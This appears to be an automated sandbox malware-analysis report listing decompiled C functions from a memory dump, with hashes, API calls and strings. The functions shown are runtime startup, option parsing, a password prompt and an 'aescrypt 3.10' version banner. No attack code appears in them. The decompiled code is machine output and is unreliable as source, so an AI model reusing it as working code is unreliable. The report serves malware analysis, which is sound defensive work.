Opcode ID: fce2b69e34cdf59923472d25a17eddfbf5298a835ef220b094ba8496de76da06
Instruction ID: 920ab94ddf91c4e973234dcf1f1892974fc7a551cd9db9a62ab2978c89a4345f
Opcode Fuzzy Hash: fce2b69e34cdf59923472d25a17eddfbf5298a835ef220b094ba8496de76da06
Instruction Fuzzy Hash: 9321DFB5441305EFCB90DF6CFC886A43BA0FB18715F58601AE99A973B1E7B05984CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0087C4C0, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0087C4C0(void* __ebx, void* __edi, void* __esi) {
				signed int _t13;
				intOrPtr _t16;
				void* _t20;
				signed int _t21;
				void* _t22;

				_push(E0087C520);
				_push( *[fs:0x0]);
				 *(_t22 + 0x10) = _t20;
				_t21 = _t22 + 0x10;
				_t13 =  *0x888288; // 0x8987487c
				 *(_t21 - 4) =  *(_t21 - 4) ^ _t13;
				_push(_t13 ^ _t21);
				 *((intOrPtr*)(_t21 - 0x18)) = _t22 -  *(_t22 + 0x10);
				_push( *(_t21 - 8));
				 *(_t21 - 4) = 0xfffffffe;
				 *(_t21 - 8) =  *(_t21 - 4);
				_t11 = _t21 - 0x10; // -4
				_t16 = _t11;
				 *[fs:0x0] = _t16;
				return _t16;
			}

0x0087c4c0
0x0087c4c5
0x0087c4d0
0x0087c4d4
0x0087c4dd
0x0087c4e2
0x0087c4e7
0x0087c4e8
0x0087c4eb
0x0087c4f1
0x0087c4f8
0x0087c4fb
0x0087c4fb
0x0087c4fe
0x0087c504

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d7d9744f8da6c61c25c6184beaf41d30345a23dab2c27db065b95f463002f09
Instruction ID: ff9da0612e56e857c2b46ef473f2c18b837add5e7fe5675f747f0542472adac5
Opcode Fuzzy Hash: 8d7d9744f8da6c61c25c6184beaf41d30345a23dab2c27db065b95f463002f09
Instruction Fuzzy Hash: E9F0C9B5901749EFCB21CFA8C941A9EBFF4FB49710F104A59F461D3250E3359A489B51

Uniqueness

Uniqueness Score: -1.00%

Function 0087F5EE, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0087F5EE(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t35;
				intOrPtr* _t36;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;

				_t30 = __ebx;
				_t35 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t35 != 0) {
					 *0x889cd8 = GetProcAddress(_t35, "FlsAlloc");
					 *0x889cdc = GetProcAddress(_t35, "FlsGetValue");
					 *0x889ce0 = GetProcAddress(_t35, "FlsSetValue");
					_t7 = GetProcAddress(_t35, "FlsFree");
					__eflags =  *0x889cd8;
					_t39 = TlsSetValue;
					 *0x889ce4 = _t7;
					if( *0x889cd8 == 0) {
						L6:
						 *0x889cdc = TlsGetValue;
						 *0x889cd8 = E0087F2FE;
						 *0x889ce0 = _t39;
						 *0x889ce4 = TlsFree;
					} else {
						__eflags =  *0x889cdc;
						if( *0x889cdc == 0) {
							goto L6;
						} else {
							__eflags =  *0x889ce0;
							if( *0x889ce0 == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					 *0x88872c = _t10;
					__eflags = _t10 - 0xffffffff;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x889cdc);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E00879FFA();
							_t41 = __imp__EncodePointer;
							_t14 =  *_t41( *0x889cd8);
							 *0x889cd8 = _t14;
							_t15 =  *_t41( *0x889cdc);
							 *0x889cdc = _t15;
							_t16 =  *_t41( *0x889ce0);
							 *0x889ce0 = _t16;
							 *0x889ce4 =  *_t41( *0x889ce4);
							_t18 = E0087D6F8();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E0087F33B();
								goto L15;
							} else {
								_t36 = __imp__DecodePointer;
								_t21 =  *((intOrPtr*)( *_t36()))( *0x889cd8, E0087F4BF);
								 *0x888728 = _t21;
								__eflags = _t21 - 0xffffffff;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E0087A62D(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										__eflags =  *((intOrPtr*)( *_t36()))( *0x889ce0,  *0x888728, _t42);
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E0087F378(_t30, _t36, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E0087F33B();
					return 0;
				}
			}

0x0087f5ee
0x0087f5fc
0x0087f600
0x0087f620
0x0087f62d
0x0087f63a
0x0087f63f
0x0087f641
0x0087f648
0x0087f64e
0x0087f653
0x0087f66b
0x0087f670
0x0087f67a
0x0087f684
0x0087f68a
0x0087f655
0x0087f655
0x0087f65c
0x00000000
0x0087f65e
0x0087f65e
0x0087f665
0x00000000
0x0087f667
0x0087f667
0x0087f669
0x00000000
0x00000000
0x0087f669
0x0087f665
0x0087f65c
0x0087f68f
0x0087f695
0x0087f69a
0x0087f69d
0x0087f764
0x0087f764
0x0087f764
0x0087f6a3
0x0087f6aa
0x0087f6ac
0x0087f6ae
0x00000000
0x0087f6b4
0x0087f6b4
0x0087f6bf
0x0087f6c5
0x0087f6cd
0x0087f6d2
0x0087f6da
0x0087f6df
0x0087f6e7
0x0087f6ee
0x0087f6f3
0x0087f6f8
0x0087f6fa
0x0087f75f
0x0087f75f
0x00000000
0x0087f6fc
0x0087f6fc
0x0087f70f
0x0087f711
0x0087f716
0x0087f719
0x00000000
0x0087f71b
0x0087f727
0x0087f72b
0x0087f72d
0x00000000
0x0087f72f
0x0087f740
0x0087f742
0x00000000
0x0087f744
0x0087f744
0x0087f746
0x0087f747
0x0087f74e
0x0087f754
0x0087f758
0x0087f75c
0x0087f75c
0x0087f742
0x0087f72d
0x0087f719
0x0087f6fa
0x0087f6ae
0x0087f768
0x0087f602
0x0087f602
0x0087f60a
0x0087f60a

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00879EBA,00886E08,00000014), ref: 0087F5F6
__mtterm.LIBCMT ref: 0087F602

Part of subcall function 0087F33B: DecodePointer.KERNEL32(00000002,0087F764,?,00879EBA,00886E08,00000014), ref: 0087F34C
Part of subcall function 0087F33B: TlsFree.KERNEL32(00000003,0087F764,?,00879EBA,00886E08,00000014), ref: 0087F366

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0087F618
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0087F625
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0087F632
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0087F63F
TlsAlloc.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F68F
TlsSetValue.KERNEL32(00000000,?,00879EBA,00886E08,00000014), ref: 0087F6AA
__init_pointers.LIBCMT ref: 0087F6B4
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6C5
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6D2
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6DF
EncodePointer.KERNEL32(?,00879EBA,00886E08,00000014), ref: 0087F6EC
DecodePointer.KERNEL32(0087F4BF,?,00879EBA,00886E08,00000014), ref: 0087F70D
__calloc_crt.LIBCMT ref: 0087F722
DecodePointer.KERNEL32(00000000,?,00879EBA,00886E08,00000014), ref: 0087F73C
__initptd.LIBCMT ref: 0087F747
GetCurrentThreadId.KERNEL32 ref: 0087F74E

Strings

FlsFree, xrefs: 0087F634
FlsSetValue, xrefs: 0087F627
FlsAlloc, xrefs: 0087F612
KERNEL32.DLL, xrefs: 0087F5F1
FlsGetValue, xrefs: 0087F61A

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 81292071542df30ae393aa4afed79e530394221609b21acb5f6bb342c73acffe
Instruction ID: c89dcff6d559aad28d692def7f86574c31e95b36f6f920f0921498d760ccba74
Opcode Fuzzy Hash: 81292071542df30ae393aa4afed79e530394221609b21acb5f6bb342c73acffe
Instruction Fuzzy Hash: 15316232804711DACB20EF7EEC0456A3EE6FB453A07188126E65AD32B6DF76C441CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00875B10, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00875B10(void* __ebx, intOrPtr* __edi) {
				void* __esi;
				signed int _t22;
				signed int _t24;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t38;
				signed int _t39;
				void* _t41;
				signed int _t42;
				signed int _t44;
				signed int _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				signed int _t52;
				intOrPtr* _t53;
				signed int _t55;
				void* _t60;

				_t53 = __edi;
				_t41 = __ebx;
				if( *0x889d64 != 0) {
					L9:
					return _t22 | 0xffffffff;
				} else {
					_t42 =  *0x888fa4; // 0x5
					if(_t42 >= __ebx) {
						L8:
						 *0x889d64 = 1;
						goto L9;
					} else {
						_t24 =  *0x889d60; // 0x0
						if(_t24 != 0) {
							L11:
							_t55 =  *( *((intOrPtr*)(_t53 + _t42 * 4)) + _t24 * 2) & 0x0000ffff;
							 *0x889d5c = _t55;
							 *0x889d60 = _t24 + 1;
							__eflags = _t55 - 0x3a;
							if(_t55 == 0x3a) {
								L19:
								_push(_t55);
								_push( *_t53);
								_push(L"%s: illegal option -- %c\n");
								_t27 = E00878DA3() + 0x40;
								__eflags = _t27;
								_push(_t27);
								E00878C47(_t41,  *_t53, _t53, _t55, _t27);
								_t55 = 0x3f;
								goto L20;
							} else {
								_t31 = E00879C16(L"vhdep:o:", _t55);
								_t60 = _t60 + 8;
								__eflags = _t31;
								if(_t31 == 0) {
									goto L19;
								} else {
									__eflags =  *((short*)(_t31 + 2)) - 0x3a;
									if( *((short*)(_t31 + 2)) != 0x3a) {
										L20:
										_t29 =  *0x889d60; // 0x0
										__eflags = _t29;
										if(_t29 != 0) {
											_t44 =  *0x888fa4; // 0x5
											_t49 =  *((intOrPtr*)(_t53 + _t44 * 4));
											__eflags =  *((short*)(_t49 + _t29 * 2));
											if( *((short*)(_t49 + _t29 * 2)) == 0) {
												 *0x888fa4 =  *0x888fa4 + 1;
												__eflags =  *0x888fa4;
												 *0x889d60 = 0;
											}
										}
										return _t55;
									} else {
										_t32 =  *0x888fa4; // 0x5
										_t50 =  *((intOrPtr*)(_t53 + _t32 * 4));
										_t45 =  *0x889d60; // 0x0
										__eflags =  *((short*)(_t50 + _t45 * 2));
										_t46 = _t50 + _t45 * 2;
										if( *((short*)(_t50 + _t45 * 2)) != 0) {
											L18:
											_t33 = _t32 + 1;
											__eflags = _t33;
											 *0x888fa4 = _t33;
											 *0x889d58 = _t46;
											 *0x889d60 = 0;
											return _t55;
										} else {
											_t32 = _t32 + 1;
											 *0x888fa4 = _t32;
											__eflags = _t32 - _t41;
											if(__eflags < 0) {
												_t46 =  *((intOrPtr*)(_t53 + _t32 * 4));
												goto L18;
											} else {
												_push(_t55);
												_push( *_t53);
												_push(L"%s: option requires an argument -- %c\n");
												_push(E00878DA3() + 0x40);
												E00878C47(_t41,  *_t53, _t53, _t55, __eflags);
												_t38 =  *0x888fa4; // 0x5
												_t39 = _t38 + 1;
												__eflags = _t39;
												 *0x888fa4 = _t39;
												 *0x889d60 = 0;
												return 0x3f;
											}
										}
									}
								}
							}
						} else {
							_t22 =  *(__edi + _t42 * 4);
							if( *_t22 != 0x2d) {
								goto L8;
							} else {
								_t52 =  *(_t22 + 2) & 0x0000ffff;
								if(_t52 == 0) {
									goto L8;
								} else {
									if(_t52 != 0x2d ||  *((short*)(_t22 + 4)) != 0) {
										_t24 = 1;
										goto L11;
									} else {
										 *0x888fa4 = _t42 + 1;
										goto L8;
									}
								}
							}
						}
					}
				}
			}

0x00875b10
0x00875b10
0x00875b17
0x00875b5b
0x00875b5e
0x00875b19
0x00875b19
0x00875b21
0x00875b51
0x00875b51
0x00000000
0x00875b23
0x00875b23
0x00875b2a
0x00875b64
0x00875b68
0x00875b6d
0x00875b73
0x00875b78
0x00875b7b
0x00875c19
0x00875c1b
0x00875c1c
0x00875c1d
0x00875c27
0x00875c27
0x00875c2a
0x00875c2b
0x00875c33
0x00000000
0x00875b81
0x00875b87
0x00875b8c
0x00875b8f
0x00875b91
0x00000000
0x00875b97
0x00875b97
0x00875b9c
0x00875c38
0x00875c38
0x00875c3d
0x00875c3f
0x00875c41
0x00875c47
0x00875c4a
0x00875c4f
0x00875c51
0x00875c51
0x00875c57
0x00875c57
0x00875c4f
0x00875c64
0x00875ba2
0x00875ba2
0x00875ba7
0x00875baa
0x00875bb0
0x00875bb5
0x00875bb8
0x00875bff
0x00875bff
0x00875bff
0x00875c00
0x00875c07
0x00875c0d
0x00875c18
0x00875bba
0x00875bba
0x00875bbb
0x00875bc0
0x00875bc2
0x00875bfc
0x00000000
0x00875bc4
0x00875bc6
0x00875bc7
0x00875bc8
0x00875bd5
0x00875bd6
0x00875bdb
0x00875be3
0x00875be3
0x00875be9
0x00875bf0
0x00875bfb
0x00875bfb
0x00875bc2
0x00875bb8
0x00875b9c
0x00875b91
0x00875b2c
0x00875b2c
0x00875b33
0x00000000
0x00875b35
0x00875b35
0x00875b3c
0x00000000
0x00875b3e
0x00875b41
0x00875b5f
0x00000000
0x00875b4a
0x00875b4b
0x00000000
0x00875b4b
0x00875b41
0x00875b3c
0x00875b33
0x00875b2a
0x00875b21

APIs

_wcschr.LIBCMT ref: 00875B87
_fwprintf.LIBCMT ref: 00875BD6
_fwprintf.LIBCMT ref: 00875C2B

Strings

%s: option requires an argument -- %c, xrefs: 00875BC8
%s: illegal option -- %c, xrefs: 00875C1D
vhdep:o:, xrefs: 00875B82

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _fwprintf$_wcschr
String ID: %s: illegal option -- %c$%s: option requires an argument -- %c$vhdep:o:
API String ID: 2777812343-129695684
Opcode ID: 95aa3d7e23114716b244a969a19f4f12ccb9e47dd1188171b30f66df1801d753
Instruction ID: a1c1bf89506fa169dd629d186b58120b14412848bffb27b1208fa68e8e34dba6
Opcode Fuzzy Hash: 95aa3d7e23114716b244a969a19f4f12ccb9e47dd1188171b30f66df1801d753
Instruction Fuzzy Hash: 52317E70A006118FD765EF1CED45B3537A5FB98324F588019E44ACB2A9EBB0EC91C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00880728, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00880728(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x887060);
				E0087C4C0(__ebx, __edi, __esi);
				_t31 = E0087F4A5(__ebx, __edx, _t35);
				_t15 =  *0x888c78; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0087D872(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x888b80; // 0x1070fd0
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x888758;
								if(__eflags != 0) {
									E0087D622(_t33);
								}
							}
						}
						_t21 =  *0x888b80; // 0x1070fd0
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x888b80; // 0x1070fd0
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E008807C3();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E0087A272(_t29, _t38);
				}
				return E0087C505(_t33);
			}

0x00880728
0x00880728
0x00880728
0x00880728
0x0088072a
0x0088072f
0x00880739
0x0088073b
0x00880743
0x00880764
0x0088076a
0x0088076e
0x00880771
0x00880774
0x0088077a
0x0088077c
0x0088077e
0x00880787
0x00880789
0x0088078b
0x00880791
0x00880794
0x00880799
0x00880791
0x00880789
0x0088079a
0x0088079f
0x008807a2
0x008807a8
0x008807ac
0x008807ac
0x008807b2
0x008807b9
0x0088074b
0x0088074b
0x0088074b
0x0088074e
0x00880750
0x00880752
0x00880754
0x00880759
0x00880761

APIs

__getptd.LIBCMT ref: 00880734

Part of subcall function 0087F4A5: __getptd_noexit.LIBCMT ref: 0087F4A8
Part of subcall function 0087F4A5: __amsg_exit.LIBCMT ref: 0087F4B5

__amsg_exit.LIBCMT ref: 00880754
__lock.LIBCMT ref: 00880764
InterlockedDecrement.KERNEL32(?), ref: 00880781
_free.LIBCMT ref: 00880794
InterlockedIncrement.KERNEL32(01070FD0), ref: 008807AC

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 4c449669e1d9322eb9337e859685e4b79aeaeef5b750a226088797d23b5e04d1
Instruction ID: e74469e1d1a3d3463cb98e44a178866febd8cd56dde2fa8ff5a5c6ed36940dac
Opcode Fuzzy Hash: 4c449669e1d9322eb9337e859685e4b79aeaeef5b750a226088797d23b5e04d1
Instruction Fuzzy Hash: 5C01AD32901B11EBD7A1BBAC984575E7360FF00760F188014E418E7291CB39BD85CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 00875C70, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00875C70(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v2060;
				void* _v2064;
				signed int _v2068;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t26;
				signed int _t28;
				signed int _t51;
				signed int _t59;
				intOrPtr* _t71;
				signed int _t76;
				void* _t83;
				signed int _t87;
				signed int _t88;
				void* _t89;
				void* _t90;

				_t26 =  *0x888288; // 0x8987487c
				_v8 = _t26 ^ _t88;
				_t83 = __ecx;
				_v2064 = __ecx;
				_t59 = _v2064;
				_t28 = 0;
				_v2068 = 0;
				L1:
				while(1) {
					if(_t28 == 0) {
						L5:
						_push(L"Enter password: ");
						E00879D6A(_t59, _t76, _t83, _t87, _t97);
						_push(E00878DA3() + 0x20);
						E0087912E(_t59, _t76, _t83, _t87, _t97);
						_t90 = _t89 + 8;
						_t59 = 0;
						_t87 = E00879D28(_t76, _t87, _t97) & 0x0000ffff;
						if(_t87 == 0xd) {
							L11:
							 *(_t83 + _t59 * 2) = 0;
						} else {
							while(_t87 != 3) {
								_t100 = _t59 - 0x400;
								if(_t59 <= 0x400) {
									 *(_t83 + _t59 * 2) = _t87;
								}
								_t59 = _t59 + 1;
								_t87 = E00879D28(_t76, _t87, _t100) & 0x0000ffff;
								if(_t87 != 0xd) {
									continue;
								}
								break;
							}
							if(_t59 <= 0x400) {
								goto L11;
							}
						}
						_push(L"\r\n");
						E00879D6A(_t59, _t76, _t83, _t87, 0);
						_t83 = _v2064;
						_t89 = _t90 + 4;
						if(_t87 == 3) {
							memset(_t83, 0xbadbad, 0x200 << 2);
							asm("stosw");
							__eflags = _v8 ^ _t88;
							return E00878AD6(0xfffffffb, _t59, _v8 ^ _t88, 0 << 0x10, _t83 + 0x200, _t87);
						} else {
							if(_t59 > 0x400) {
								memset(_t83, 0xbadbad, 0x200 << 2);
								asm("stosw");
								__eflags = _v8 ^ _t88;
								return E00878AD6(0xfffffffa, _t59, _v8 ^ _t88, 0 << 0x10, _t83 + 0x200, _t87);
							} else {
								_v2068 = _v2068 + 1;
								_t28 = _v2068;
								continue;
							}
						}
					} else {
						if(_t28 != 1) {
							__eflags = _a4 - 2;
							if(_a4 != 2) {
								goto L25;
							} else {
								_t71 =  &_v2060;
								_t51 = _t83;
								while(1) {
									_t76 =  *_t51;
									__eflags = _t76 -  *_t71;
									if(_t76 !=  *_t71) {
										break;
									}
									__eflags = _t76;
									if(_t76 == 0) {
										L21:
										_t51 = 0;
									} else {
										_t76 =  *((intOrPtr*)(_t51 + 2));
										__eflags = _t76 -  *((intOrPtr*)(_t71 + 2));
										if(_t76 !=  *((intOrPtr*)(_t71 + 2))) {
											break;
										} else {
											_t51 = _t51 + 4;
											_t71 = _t71 + 4;
											__eflags = _t76;
											if(_t76 != 0) {
												continue;
											} else {
												goto L21;
											}
										}
									}
									L23:
									__eflags = _t51;
									if(_t51 == 0) {
										goto L25;
									} else {
										memset(_t83, 0xbadbad, 0x200 << 2);
										asm("stosw");
										__eflags = _v8 ^ _t88;
										return E00878AD6(0xfffffff9, _t59, _v8 ^ _t88, 0 << 0x10, _t83 + 0x200, _t87);
									}
									goto L28;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L23;
							}
						} else {
							_t97 = _a4 - 2;
							if(_a4 != 2) {
								L25:
								__eflags = _v8 ^ _t88;
								return E00878AD6(_t59, _t59, _v8 ^ _t88, _t76, _t83, _t87);
							} else {
								_push(L"Re-");
								_t83 =  &_v2060;
								E00879D6A(_t59, _t76, _t83, _t87, _t97);
								_t89 = _t89 + 4;
								goto L5;
							}
						}
					}
					L28:
				}
			}

0x00875c79
0x00875c80
0x00875c86
0x00875c88
0x00875c8e
0x00875c94
0x00875c96
0x00000000
0x00875ca0
0x00875ca2
0x00875cca
0x00875cca
0x00875ccf
0x00875cdc
0x00875cdd
0x00875ce2
0x00875ce5
0x00875cec
0x00875cf2
0x00875d1c
0x00875d1e
0x00875cf4
0x00875cf4
0x00875cfa
0x00875d00
0x00875d02
0x00875d02
0x00875d06
0x00875d0c
0x00875d12
0x00000000
0x00000000
0x00000000
0x00875d12
0x00875d1a
0x00000000
0x00000000
0x00875d1a
0x00875d22
0x00875d27
0x00875d2c
0x00875d32
0x00875d39
0x00875dee
0x00875df0
0x00875dfd
0x00875e07
0x00875d3f
0x00875d45
0x00875e19
0x00875e1e
0x00875e22
0x00875e32
0x00875d4b
0x00875d4b
0x00875d51
0x00000000
0x00875d51
0x00875d45
0x00875ca4
0x00875ca7
0x00875d5c
0x00875d60
0x00000000
0x00875d62
0x00875d62
0x00875d68
0x00875d70
0x00875d70
0x00875d73
0x00875d76
0x00000000
0x00000000
0x00875d78
0x00875d7b
0x00875d92
0x00875d92
0x00875d7d
0x00875d7d
0x00875d81
0x00875d85
0x00000000
0x00875d87
0x00875d87
0x00875d8a
0x00875d8d
0x00875d90
0x00000000
0x00000000
0x00000000
0x00000000
0x00875d90
0x00875d85
0x00875d9b
0x00875d9b
0x00875d9d
0x00000000
0x00875d9f
0x00875db0
0x00875db2
0x00875dbf
0x00875dc9
0x00875dc9
0x00000000
0x00875d9d
0x00875d96
0x00875d98
0x00000000
0x00875d98
0x00875cad
0x00875cad
0x00875cb1
0x00875dcc
0x00875dd2
0x00875ddc
0x00875cb7
0x00875cb7
0x00875cbc
0x00875cc2
0x00875cc7
0x00000000
0x00875cc7
0x00875cb1
0x00875ca7
0x00000000
0x00875ca2

APIs

_wprintf.LIBCMT ref: 00875CC2
_wprintf.LIBCMT ref: 00875CCF
_wprintf.LIBCMT ref: 00875D27

Strings

Enter password: , xrefs: 00875CCA
Re-, xrefs: 00875CB7

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _wprintf
String ID: Enter password: $Re-
API String ID: 2738768116-153011214
Opcode ID: f496b759cdfc005eb30fdc4ea52724339568f113c390eaaba98c24aa511edc3c
Instruction ID: b8de08c319e9fccbd46b32f82bc92cb7751e76649f9a3beca2846027535515fb
Opcode Fuzzy Hash: f496b759cdfc005eb30fdc4ea52724339568f113c390eaaba98c24aa511edc3c
Instruction Fuzzy Hash: AD414731B009189ADB30AB3CCC452A9B3A1FF68320F94C676E85DD3299EE75CD448792

Uniqueness

Uniqueness Score: -1.00%

Function 008752F0, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E008752F0(char* __edx) {
				char* _t1;
				void* _t5;
				signed int _t6;
				char* _t7;
				void* _t8;
				void* _t9;

				_t7 = __edx;
				_t1 = __edx;
				if( *((short*)(__edx)) != 0) {
					do {
						_t1 =  &(_t1[2]);
					} while ( *_t1 != 0);
					if(_t1 > __edx) {
						while(1) {
							_t6 =  *_t1 & 0x0000ffff;
							if(_t6 == 0x5c || _t6 == 0x2f) {
								break;
							}
							_t1 = _t1 - 2;
							if(_t1 > _t7) {
								continue;
							} else {
							}
							goto L10;
						}
						_t1 =  &(_t1[2]);
						__eflags = _t1;
					}
				}
				L10:
				if( *_t1 == 0) {
					_t1 = L"aescrypt";
				}
				_push(L"April 16, 2015");
				_push(L"3.10");
				_push(_t1);
				_push(L"\n%s version %s (%s)\n\n");
				_t3 = E00878DA3() + 0x40;
				_push(E00878DA3() + 0x40);
				return E00878C47(_t5, _t7, _t8, _t9, _t3);
			}

0x008752f0
0x008752f4
0x008752f6
0x00875300
0x00875300
0x00875303
0x0087530b
0x00875310
0x00875310
0x00875316
0x00000000
0x00000000
0x0087531d
0x00875322
0x00000000
0x00000000
0x00875324
0x00000000
0x00875322
0x00875326
0x00875326
0x00875326
0x0087530b
0x00875329
0x0087532d
0x0087532f
0x0087532f
0x00875334
0x00875339
0x0087533e
0x0087533f
0x00875349
0x0087534c
0x00875355

APIs

_fwprintf.LIBCMT ref: 0087534D

Strings

3.10, xrefs: 00875339
April 16, 2015, xrefs: 00875334
%s version %s (%s), xrefs: 0087533F
aescrypt, xrefs: 0087532F, 0087533E

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _fwprintf
String ID: %s version %s (%s)$3.10$April 16, 2015$aescrypt
API String ID: 394020290-1689261965
Opcode ID: 7266312aa7f59057ce6d14b15bbee9e7039a3cd5bd820ee91bfac5e6069ce92c
Instruction ID: 3539e240237fea297522daf9671fcb524ebaa9bc46914a3a4f985497ea83f5e7
Opcode Fuzzy Hash: 7266312aa7f59057ce6d14b15bbee9e7039a3cd5bd820ee91bfac5e6069ce92c
